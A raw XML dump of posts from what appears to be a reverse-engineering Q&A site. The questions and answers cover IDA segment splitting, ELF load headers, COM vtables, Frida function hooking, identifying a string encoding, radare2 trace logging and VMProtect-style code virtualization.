  <row Id="21698" PostTypeId="1" AcceptedAnswerId="21703" CreationDate="2019-07-17T14:49:38.673" Score="1" ViewCount="940" Body="&lt;p&gt;I'm reversing a firmware, that comes in one big binary chunk(&lt;code&gt;.bin&lt;/code&gt; file). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some reversing, I could identify that the big bin has two segments - text and data. Now I want to split the original segment into those two segments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original file segments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Name   start   end&#xA;ROM    0x0     0x21bd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One big segment containing all the code and data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Desired result segments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Name  start   end&#xA;.text  0x0     0x11bd &#xA;.data  0xc000  0xd000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to split the one big segment into two nonadjusted segments, like this. &#xA;the &lt;code&gt;.data&lt;/code&gt; section should hold the bytes from the original &lt;code&gt;ROM&lt;/code&gt; section. In other words, 0x11bd - 0x21bd from the original &lt;code&gt;ROM&lt;/code&gt; section should be copied to &#xA;0xc000 - 0xd000 of the new data section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2019-07-18T02:19:36.427" Title="Split IDA segment into sub segments" Tags="|ida|firmware|idapython|segmentation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21699" PostTypeId="1" CreationDate="2019-07-17T16:43:18.217" Score="3" ViewCount="256" Body="&lt;p&gt;I was trying to understand what segment of file gets loaded by fourth LOAD header on phdr array.&#xA; First 6 headers are shown below from readelf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Program Headers:&#xA;  Type           Offset             VirtAddr           PhysAddr&#xA;                 FileSiz            MemSiz              Flags  Align&#xA;  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040&#xA;                 0x0000000000000268 0x0000000000000268  R      0x8&#xA;  INTERP         0x00000000000002a8 0x00000000000002a8 0x00000000000002a8&#xA;                 0x000000000000001c 0x000000000000001c  R      0x1&#xA;      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]&#xA;  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000 //file portion till .text&#xA;                 0x00000000000006c0 0x00000000000006c0  R      0x1000&#xA;  LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000 //.text&#xA;                 0x00000000000003c5 0x00000000000003c5  R E    0x1000&#xA;  LOAD           0x0000000000002000 0x0000000000002000 0x0000000000002000 //.rodata,.eh_frame_hdr,.eh_frame&#xA;                 0x0000000000000170 0x0000000000000170  R      0x1000&#xA;  LOAD           0x0000000000002de8 0x0000000000003de8 0x0000000000003de8&#xA;                 0x0000000000000270 0x00000000000002d8  RW     0x1000&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that memory range between offset and filesiz is completely absent in ghidra and cutter disassembly and is filled with &quot;ff&quot; and is shown as invalid in cutter hexdump.&#xA;however, when I use hexdump on my terminal, it is not filled with 'ff' as shown by cutter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00002df0  e0 10 00 00 00 00 00 00  01 00 00 00 00 00 00 00  |................|&#xA;00002e00  01 00 00 00 00 00 00 00  0c 00 00 00 00 00 00 00  |................|&#xA;00002e10  00 10 00 00 00 00 00 00  0d 00 00 00 00 00 00 00  |................|&#xA;00002e20  d8 11 00 00 00 00 00 00  19 00 00 00 00 00 00 00  |................|&#xA;00002e30  e8 3d 00 00 00 00 00 00  1b 00 00 00 00 00 00 00  |.=..............|&#xA;00002e40  08 00 00 00 00 00 00 00  1a 00 00 00 00 00 00 00  |................|&#xA;00002e50  f0 3d 00 00 00 00 00 00  1c 00 00 00 00 00 00 00  |.=..............|&#xA;00002e60  08 00 00 00 00 00 00 00  f5 fe ff 6f 00 00 00 00  |...........o....|&#xA;00002e70  08 03 00 00 00 00 00 00  05 00 00 00 00 00 00 00  |................|&#xA;00002e80  d0 03 00 00 00 00 00 00  06 00 00 00 00 00 00 00  |................|&#xA;00002e90  28 03 00 00 00 00 00 00  0a 00 00 00 00 00 00 00  |(...............|&#xA;00002ea0  84 00 00 00 00 00 00 00  0b 00 00 00 00 00 00 00  |................|&#xA;00002eb0  18 00 00 00 00 00 00 00  15 00 00 00 00 00 00 00  |................|&#xA;00002ec0  00 00 00 00 00 00 00 00  03 00 00 00 00 00 00 00  |................|&#xA;00002ed0  00 40 00 00 00 00 00 00  02 00 00 00 00 00 00 00  |.@..............|&#xA;00002ee0  18 00 00 00 00 00 00 00  14 00 00 00 00 00 00 00  |................|&#xA;00002ef0  07 00 00 00 00 00 00 00  17 00 00 00 00 00 00 00  |................|&#xA;00002f00  48 05 00 00 00 00 00 00  07 00 00 00 00 00 00 00  |H...............|&#xA;00002f10  88 04 00 00 00 00 00 00  08 00 00 00 00 00 00 00  |................|&#xA;00002f20  c0 00 00 00 00 00 00 00  09 00 00 00 00 00 00 00  |................|&#xA;00002f30  18 00 00 00 00 00 00 00  fb ff ff 6f 00 00 00 00  |...........o....|&#xA;&#xA;--&amp;gt;disassembly from cutter&#xA;            0x00002de8      invalid&#xA;            0x00002de9      invalid&#xA;            0x00002dea      invalid&#xA;            0x00002deb      invalid&#xA;            0x00002dec      invalid&#xA;            0x00002ded      invalid&#xA;            :and this continues till 0x00003de7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;why the difference?&#xA;what is actually getting loaded by the fourth LOAD ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program I'm disassembling is a simple hello world program &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;&#xA;int main()&#xA;{&#xA;    printf(&quot;hello&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled with &#xA;gcc version 9.1.0 (GCC) &lt;/p&gt;&#xA;" OwnerUserId="28943" LastActivityDate="2023-04-20T20:02:05.273" Title="What is actually loaded here and different hexdump outputs on util-linux hexdump and on cutter and ghidra's hexdump" Tags="|disassembly|binary-analysis|linux|radare2|elf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21700" PostTypeId="2" ParentId="21676" CreationDate="2019-07-17T16:43:30.253" Score="2" Body="&lt;p&gt;My guess is that &lt;code&gt;ppMalloc&lt;/code&gt; is a pointer to an instance of the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-imalloc&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;IMalloc&lt;/code&gt;&lt;/a&gt; COM interface (e.g. it was initialized by a call to &lt;code&gt;CoGetMalloc&lt;/code&gt;), which means the the first pointer in it (loaded by the &lt;code&gt;les&lt;/code&gt; instruction) is the VTable which has the following methods. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First three are inherited from IUnknown, the parent of all COM objects:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;+00 QueryInterface &lt;/p&gt;&#xA;&#xA;&lt;p&gt;+04 AddRef&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+08 Release&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Followed by the methods of IMalloc proper:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;+0C &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-imalloc-alloc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Alloc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+10 DidAlloc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+14 Free&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+18 GetSize&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+1C HeapMinimize&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+20 Realloc &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So the code is probably calling &lt;code&gt;IMalloc::Malloc&lt;/code&gt; to allocate 0x34 bytes, pointer to which is returned in the &lt;code&gt;ax:dx&lt;/code&gt; register pair. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-07-17T16:43:30.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21701" PostTypeId="1" AcceptedAnswerId="21705" CreationDate="2019-07-17T18:23:22.077" Score="1" ViewCount="4024" Body="&lt;p&gt;I'm new with frida and came to this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have dll that I want to reverse engeneer(there are no debug symbols). Specifically I want to dump some data from a function. So I have this big function and here is the fragment of it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Nty3s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nty3s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see that some string(&lt;code&gt;pf4&lt;/code&gt;) is moved to &lt;code&gt;edx&lt;/code&gt;, but more important thing comes after that. You can see that &lt;code&gt;sub_575FD30&lt;/code&gt;&#xA;function is called couple of times. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most interesting thing for me is the &lt;code&gt;eax&lt;/code&gt; register after the call. So what I want to do is to dump value of &lt;code&gt;eax&lt;/code&gt; after the call of this function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't consider dumping something from &lt;code&gt;sub_575FD30&lt;/code&gt; function because that function is called from many other places and I specifically want to dump &lt;code&gt;eax&lt;/code&gt; after calling it in this specific example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how can I acheive it using frida? Should I hardcode the instruction address(address of &lt;code&gt;push eax&lt;/code&gt;) and get value of &lt;code&gt;eax&lt;/code&gt;? Is it the correct way or is there some better way to achieve it? Any direction of how to achieve it and script example would be appriciated.&lt;/p&gt;&#xA;" OwnerUserId="21456" LastActivityDate="2019-07-21T20:40:35.487" Title="Dump value of register using frida" Tags="|disassembly|windows|debugging|functions|frida|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21702" PostTypeId="2" ParentId="21698" CreationDate="2019-07-17T18:52:19.600" Score="1" Body="&lt;p&gt;i've always found it easier to split and join the file outside of ida to what is needed&#xA;and just create segments using edit -&gt;segment-&gt;createSegment with proper start and end address  rather that dealing with move_segment headache which will keep on saying no room blah blah , bad base blah blah etc etc ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;may be someone with better ida experience would give a proper ida way to do what you ask&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a simple splitter for your case&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;forig = open('f://somrom.bin' , 'rb')&#xA;part1 = forig.read(0x11be)&#xA;forig.seek(0x11be,0)&#xA;part2 = forig.read(0x1000)&#xA;arr = bytearray(0xc000-0x11be)&#xA;&#xA;ffinal = open('f:\\somromfinal.bin','wb')&#xA;ffinal.write(part1)&#xA;ffinal.write(arr)&#xA;ffinal.write(part2)&#xA;ffinal.close()&#xA;forig.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can check to see if it is split properly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xxd.exe -g 1 -l 16 -s 0x11b0 somrom.bin&#xA;000011b0: 8c 08 31 2d 09 8a c1 7d 19 39 2b 83 e5 e3 57 ed  ..1-...}.9+...W.&#xA;&#xA;xxd.exe -g 1 -l 16 -s 0x11b0 somromfinal.bin&#xA;000011b0: 8c 08 31 2d 09 8a c1 7d 19 39 2b 83 e5 e3 00 00  ..1-...}.9+..... &#xA;&#xA;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;0x11be bf =00&#xA;&#xA;xxd.exe -g 1 -l 16 -s 0xc000 somromfinal.bin&#xA;0000c000: 57 ed 37 31 e2 31 2d 98 18 6f 53 36 59 4e ad 92  W.71.1-..oS6YN..&#xA;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; 0xc000 start with 0x57 ed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can load this file in ida&lt;br&gt;&#xA;and just create three segments&lt;br&gt;&#xA;0000 to 11bd&lt;br&gt;&#xA;11be to bfff&lt;br&gt;&#xA;c000 to d000   &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-07-17T18:52:19.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21703" PostTypeId="2" ParentId="21698" CreationDate="2019-07-17T19:39:06.717" Score="1" Body="&lt;p&gt;Open the segments window in IDA. Go to edit that one big segment you have. Change the name to &lt;code&gt;.text&lt;/code&gt; and edit the permissions as applicable. Uncheck &quot;Move adjacent segments&quot; and &quot;Disable addresses&quot;, this step is very important, it's what prevents the actual segment data from being deleted. Change the end address to be the end of the &lt;code&gt;.text&lt;/code&gt; segment. Click ok and confirm the edit. Right click, and select &quot;Add segment&quot;, set the name to &lt;code&gt;.data&lt;/code&gt; and fill in the start and end addresses as the addresses it was previously loaded at. Then go to Edit -&gt; Segments -&gt; Move current segment to select the correct start address.&lt;/p&gt;&#xA;" OwnerUserId="266" LastEditorUserId="266" LastEditDate="2019-07-18T02:19:36.427" LastActivityDate="2019-07-18T02:19:36.427" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21704" PostTypeId="1" AcceptedAnswerId="21727" CreationDate="2019-07-17T20:12:59.947" Score="2" ViewCount="375" Body="&lt;p&gt;I have an old application that stores the username and password in plaintext but encoded by an unknown encoding algorithm to me, it seams like base64, but I think it's not,&#xA;It seams that any word longer than 22 or 23 is truncated, but unfortunately there's some odd examples that changes the last character&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for example:&#xA;&#xA;Input: ABCDEFGHIJKLMNOPQRSTUV&#xA;Output: //DeparF3/jFcmVGBf5LcmNHYqJBmw&#xA;&#xA;Input: ABCDEFGHIJKLMNOPQRSTUVWXYZ&#xA;Output: //DeparF3/jFcmVGBf5LcmNHYqJBmw&#xA;&#xA;Input: ABCDEFGHIJKLMNOPQRSTUV1&#xA;Output: //DeparF3/jFcmVGBf5LcmNHYqJBm2&#xA;&#xA;Input: ABCDEFGHIJKLMNOPQRSTUV123456&#xA;Output: //DeparF3/jFcmVGBf5LcmNHYqJBm2&#xA;&#xA;Input: 1234567890123456789012&#xA;Output: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/w&#xA;&#xA;Input: 12345678901234567890123&#xA;Output: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/2&#xA;&#xA;Input: 123456789012345678901234&#xA;Output: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/2&#xA;&#xA;Input: 1234567890123456789012a&#xA;Output: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/z&#xA;&#xA;Input: 1234567890123456789012ab&#xA;Output: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/z&#xA;&#xA;Input: 1234567890123456789012c&#xA;Output: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/z&#xA;&#xA;Input: 1234567890123456789012F&#xA;Output: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/x&#xA;&#xA;Input: 1234567890123456789012V&#xA;Output: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/w&#xA;&#xA;Input: 1A2B3C4D5E6F7G8H9I0J1K&#xA;Output: j/Ovo9zArPS5fRhMf/c8agtcAbwlhg&#xA;&#xA;Input: 1A2B3C4D5E6F7G8H9I0J1K2&#xA;Output: j/Ovo9zArPS5fRhMf/c8agtcAbwlhm&#xA;&#xA;Input: 1A2B3C4D5E6F7G8H9I0J1K3&#xA;Output: j/Ovo9zArPS5fRhMf/c8agtcAbwlhm&#xA;&#xA;Input: 1A2B3C4D5E6F7G8H9I0J1KL&#xA;Output: j/Ovo9zArPS5fRhMf/c8agtcAbwlhh&#xA;&#xA;Input: 1A2B3C4D5E6F7G8H9I0J1KM&#xA;Output: j/Ovo9zArPS5fRhMf/c8agtcAbwlhh&#xA;&#xA;Input: A1B2C3D4E5F6G7H8I9J0KL&#xA;Output: /4Pf06yw3ITJDWg8D4dMGnsse8ZfgQ&#xA;&#xA;Input: A1B2C3D4E5F6G7H8I9J0KLM&#xA;Output: /4Pf06yw3ITJDWg8D4dMGnsse8ZfgR&#xA;&#xA;Input: A1B2C3D4E5F6G7H8I9J0KL7&#xA;Output: /4Pf06yw3ITJDWg8D4dMGnsse8ZfgW&#xA;&#xA;Input: abcABC123/+321++1GWZVV&#xA;Output: 39D+oK3AqYK/FwU5eoEvCQNSZqxCmw&#xA;&#xA;Input: abcABC123/+321++1GWZVV1&#xA;Output: 39D+oK3AqYK/FwU5eoEvCQNSZqxCm2&#xA;&#xA;Input: lkjsd2093jljsdLJSDl12A&#xA;Output: 0tn3kouxqIm/UkJgO9RIaGFRXccmjA&#xA;&#xA;Input: lkjsd2093jljsdLJSDl123&#xA;Output: 0tn3kouxqIm/UkJgO9RIaGFRXccm/g&#xA;&#xA;Input: lkjsd2093jljsdLJSDl1234&#xA;Output: 0tn3kouxqIm/UkJgO9RIaGFRXccm/m&#xA;&#xA;Input: aaaaaaaaaaaaaaaaaaaaaa&#xA;Output: 39P8gI7i+dHtWU9rKdFlQ1N0UJd1rA&#xA;&#xA;Input: aaaaaaaaaaaaaaaaaaaaaaa&#xA;Output: 39P8gI7i+dHtWU9rKdFlQ1N0UJd1rD&#xA;&#xA;Input: aaaaaaaaaaaaaaaaaaaaaa1&#xA;Output: 39P8gI7i+dHtWU9rKdFlQ1N0UJd1rG&#xA;&#xA;Input: aaaaaaaaaaaaaaaaaaaaaaF&#xA;Output: 39P8gI7i+dHtWU9rKdFlQ1N0UJd1rB&#xA;&#xA;Input: 1111111111111111111111&#xA;Output: j4Os0N6yqYG9CR87eYE1EwMkAMcl/A&#xA;&#xA;Input: 11111111111111111111111&#xA;Output: j4Os0N6yqYG9CR87eYE1EwMkAMcl/G&#xA;&#xA;Input: a&#xA;Output: 3w==&#xA;&#xA;Input: c&#xA;Output: 3Q==&#xA;&#xA;Input: ab&#xA;Output: 39A=&#xA;&#xA;Input: abc&#xA;Output: 39D+&#xA;&#xA;Input: abcd&#xA;Output: 39D+hQ==&#xA;&#xA;Input: abcde&#xA;Output: 39D+hYo=&#xA;&#xA;Input: abcdef&#xA;Output: 39D+hYrl&#xA;&#xA;Input: abcdefg&#xA;Output: 39D+hYrl/w==&#xA;&#xA;Input: abcdefgh&#xA;Output: 39D+hYrl/9g=&#xA;&#xA;Input: 123&#xA;Output: j4Cu&#xA;&#xA;Input: 1234&#xA;Output: j4Cu1Q==&#xA;&#xA;Input: 12345&#xA;Output: j4Cu1do=&#xA;&#xA;Input: 123456&#xA;Output: j4Cu1dq1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea? &#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="29057" LastEditorUserId="29057" LastEditDate="2019-07-21T11:44:13.727" LastActivityDate="2019-07-21T12:15:10.053" Title="How to identify the encoding performed on this string" Tags="|encryption|encodings|strings|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21705" PostTypeId="2" ParentId="21701" CreationDate="2019-07-17T23:07:52.553" Score="1" Body="&lt;p&gt;The Details are all available in the &lt;a href=&quot;https://www.frida.re/docs/javascript-api/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Javascript API documentation for Interceptor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;below is a small demo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;assuming you have a source code as below the adder function will be called from 3 places &#xA;for a total of 26 times&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int adder( int a , int b) {&#xA;    return a+b;&#xA;}&#xA;int addonce (int a, int b) {&#xA;    return adder(a,b);&#xA;}&#xA;int addtwice (int a, int b) {&#xA;    return adder(a,b) + adder (a,b);&#xA;}&#xA;int addntimes(int a, int b, int c) {&#xA;    int res = 0;&#xA;    for (int i = 0; i &amp;lt; c; i++ ) {&#xA;        res = res + adder(a,b);&#xA;    }&#xA;    return res;&#xA;}&#xA;void main(void) {&#xA;    getchar();&#xA;    printf(&quot;%d\n&quot;, addonce(2,3));&#xA;    printf(&quot;%d\n&quot;, addtwice(2,3));&#xA;    printf(&quot;%d\n&quot;, addntimes(2,3,10));&#xA;    printf(&quot;%d\n&quot;, addonce(2,3)+addtwice(2,3)+addntimes(2,3,10));&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled with vs 2017 community  and executed &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /Zi /W4 /analyze /Od /EHsc mulcall.cpp /link / release &#xA;5&#xA;10&#xA;50&#xA;65&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Frida python script &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import frida&#xA;import sys&#xA;&#xA;session = frida.attach(&quot;mulcall.exe&quot;)&#xA;script = session.create_script(&quot;&quot;&quot;&#xA;Interceptor.attach&#xA;(&#xA;    ptr(&quot;%s&quot;),&#xA;    {&#xA;        onEnter: function(args) &#xA;        {&#xA;            console.log(&quot;entering  intercepted function will return to &quot; + this.returnAddress);&#xA;        } ,&#xA;        onLeave: function(retval)&#xA;        {&#xA;            console.log( &quot;leaving intercepted function returning &quot; + retval.toInt32());&#xA;        }&#xA;    }&#xA;);&#xA;&quot;&quot;&quot; % int(sys.argv[1], 16))&#xA;&#xA;def on_message(message, data):&#xA;    print(message)&#xA;script.on('message', on_message)&#xA;script.load()&#xA;sys.stdin.read()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you need the address of adder function that you have to pass (in your case the 5xxx address of sub_yyyy) be aware ASLR may come into play you always need a fresh address of the running instance not some stale address of past instances  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you will run the script like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python friscript.py 7ff670901000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the 0x00007ff670901000 is the address of adder() for me&#xA;I have executed the exe and it is waiting for a keypress &#xA;now I run the above script &#xA;it attaches and waits until I press a key in the waiting instance &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the output of Frida &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python friscript.py 7ff670901000&#xA;entering  intercepted function will return to 0x7ff670901039&#xA;leaving intercepted function returning 5&#xA;entering  intercepted function will return to 0x7ff670901069&#xA;leaving intercepted function returning 5&#xA;entering  intercepted function will return to 0x7ff67090107a&#xA;leaving intercepted function returning 5&#xA;entering  intercepted function will return to 0x7ff6709010d4&#xA;leaving intercepted function returning 5 (10 times)&#xA;entering  intercepted function will return to 0x7ff670901039&#xA;leaving intercepted function returning 5&#xA;entering  intercepted function will return to 0x7ff670901069&#xA;leaving intercepted function returning 5&#xA;entering  intercepted function will return to 0x7ff67090107a&#xA;leaving intercepted function returning 5&#xA;entering  intercepted function will return to 0x7ff6709010d4&#xA;leaving intercepted function returning 5 (10 times)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT to address Comment&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if eax is a pointer to some type (ansi,wide,utf8,utf16,bytearray,struct *)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use the appropriate helper function  in onLeave {}&lt;br&gt;&#xA;here is an implementation for a function returning a struct *&lt;br&gt;&#xA;struct { int a , char * b }   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  // hack for getting the next member of struct  (adding pointer size  of &#xA;  // 32bit machine read documents to see if you can cast the return &#xA;  // value to proper structure type &#xA;  // so that we can use (foo *) (this.context.eax)-&amp;gt;a &#xA;  // instead of hacks like add(4) &#xA;&#xA;  foo = Memory.readPointer(this.context.eax.add(4)) &#xA;  blah = Memory.readCString(foo)&#xA;  log( blah )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-07-21T20:40:35.487" LastActivityDate="2019-07-21T20:40:35.487" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21707" PostTypeId="1" AcceptedAnswerId="21714" CreationDate="2019-07-18T15:14:14.793" Score="0" ViewCount="382" Body="&lt;p&gt;I would like to know if there is any way to modify the algorithm used in IDA pro. I have a binary where I suspect that junk isn't junk, and I would like to see what output would a linear disassembly do, but I could not find any option in IDA Pro to change that. Does it even exist? Thanks !&lt;/p&gt;&#xA;" OwnerUserId="23314" LastActivityDate="2019-07-19T19:33:15.867" Title="Change IDA pro dissassembly to linear sweep" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21708" PostTypeId="1" CreationDate="2019-07-18T16:10:47.190" Score="1" ViewCount="674" Body="&lt;p&gt;I am trying to write all the write logs of a binary program into a file for further analysis. I am using radare2 for it. I don't know what's the issue, I am not able to write the 'dte' output to a file. It prints on the console but doesn't write to a file even after redirection. 'dtd' is working fine and writing to the file. Here in the below code log2.txt comes up empty.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import r2pipe&#xA;&#xA;r = r2pipe.open('simpleAES', flags=['-d'])&#xA;r.cmd('aei')&#xA;r.cmd('dc')&#xA;r.cmd('e dbg.trace=1')&#xA;r.cmd('des 100') &#xA;&#xA;output1 = r.cmd('dtd')&#xA;output2 = r.cmd('dte')&#xA;&#xA;f = open(&quot;log1.txt&quot;, &quot;w&quot;)&#xA;f.write(output1)&#xA;f.close()&#xA;&#xA;f = open(&quot;log2.txt&quot;, &quot;w&quot;)&#xA;f.write(output2)&#xA;f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using a simple C code for analysis and using raise(SIGINT); for setting breakpoint in the C program. Do you have any idea how I can write the 'dte' output to a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code that I am debugging: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;signal.h&amp;gt;&#xA;#include&amp;lt;stdio.h&amp;gt;&#xA;int main (void)&#xA;{&#xA;    printf(&quot;loop started&quot;);&#xA;    raise(SIGINT);&#xA;    int i = 0;&#xA;    for (i = 0; i &amp;lt; 10; ++i) {&#xA;      printf(&quot;Hello &quot;);&#xA;    }&#xA;    printf(&quot;loop completed&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29015" LastEditorUserId="245" LastEditDate="2019-07-30T07:13:32.023" LastActivityDate="2019-07-30T07:13:32.023" Title="write radare2 output to a file" Tags="|disassembly|debugging|radare2|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21709" PostTypeId="1" CreationDate="2019-07-18T21:32:40.690" Score="2" ViewCount="813" Body="&lt;p&gt;I am a new student in the field of cybersecurity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to learn more about how virtualization used by software such as &lt;a href=&quot;https://oreans.com/codevirtualizer.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;CodeVirtualizer&lt;/a&gt; and &lt;a href=&quot;https://vmpsoft.com/support/user-manual/introduction/what-is-vmprotect/&quot; rel=&quot;nofollow noreferrer&quot;&gt;VMProtect&lt;/a&gt; works, and ideally to be able to virtualize part of my code in VB.NET. However, I do not understand how they operate, and I find it hard to find resources about it. So, I ask myself the following questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What functions do these programs use to achieve this virtualization? How do this work, step by step? Obviously, these are private software, so the source code is not given. The virtualization of a part of a code is difficult for me to conceive. It's obviously not about system virtualization like VMware or VirtualBox, but a part of a code. Is the environment changed?&lt;/li&gt;&#xA;&lt;li&gt;From this last observation, where are the virtualized files stored?&#xA;If my virtualized program wants to write to disk, will the data be&#xA;written to a virtualized disk?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It may be difficult to answer every detail of each of my questions; I imagine that the domain is complex. Nevertheless, if some elements of answers could be brought, it would help me a lot to better understand :)&lt;/p&gt;&#xA;" OwnerUserId="29069" LastActivityDate="2019-07-18T21:32:40.690" Title="How to virtualize part of a code like VMProtect does?" Tags="|anti-debugging|virtualizers|vmprotect|vms|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
